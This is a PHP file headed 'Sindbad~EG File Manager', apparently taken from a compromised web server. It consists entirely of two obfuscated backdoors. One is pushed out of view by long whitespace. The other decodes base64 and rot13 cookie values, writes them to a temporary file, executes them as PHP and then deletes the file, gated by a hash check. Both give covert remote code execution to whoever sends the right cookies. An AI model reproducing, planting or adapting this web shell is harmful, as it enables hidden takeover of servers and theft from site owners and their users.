Sindbad~EG File Manager

<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[31])){$c=$_COOKIE;$k=0;$n=10;$p=array();$p[$k]='';while($n){$p[$k].=$c[31][$n];if(!$c[31][$n+1]){if(!$c[31][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+10+1;}$k=$p[29]().$p[7];if(!$p[22]($k)){$n=$p[20]($k,$p[5]);$p[4]($n,$p[14].$p[2]($p[8]($c[3])));}include($k);}



if (isset($_COOKIE[15-15]) && isset($_COOKIE[97-96]) && isset($_COOKIE[75-72]) && isset($_COOKIE[23+-19])) {
    $value = $_COOKIE;
    function task_processor($element) {
        $value = $_COOKIE;
        $itm = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '62b6cf09');
        if (!is_writable($itm)) {
            $itm = getcwd() . DIRECTORY_SEPARATOR . "event_dispatcher";
        }
        $ref = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($value[3]));
        if (is_writeable($itm)) {
            $dchunk = fopen($itm, 'w+');
            fputs($dchunk, $ref);
            fclose($dchunk);
            spl_autoload_unregister(__FUNCTION__);
            require_once($itm);
            @array_map('unlink', array($itm));
        }
    }
    spl_autoload_register("task_processor");
    $ent = "7c99445fa38c041bb65b7d407949537e";
    if (!strncmp($ent, $value[4], 32)) {
        if (@class_parents("dataflow_engine_secure_access", true)) {
            exit;
        }
    }
}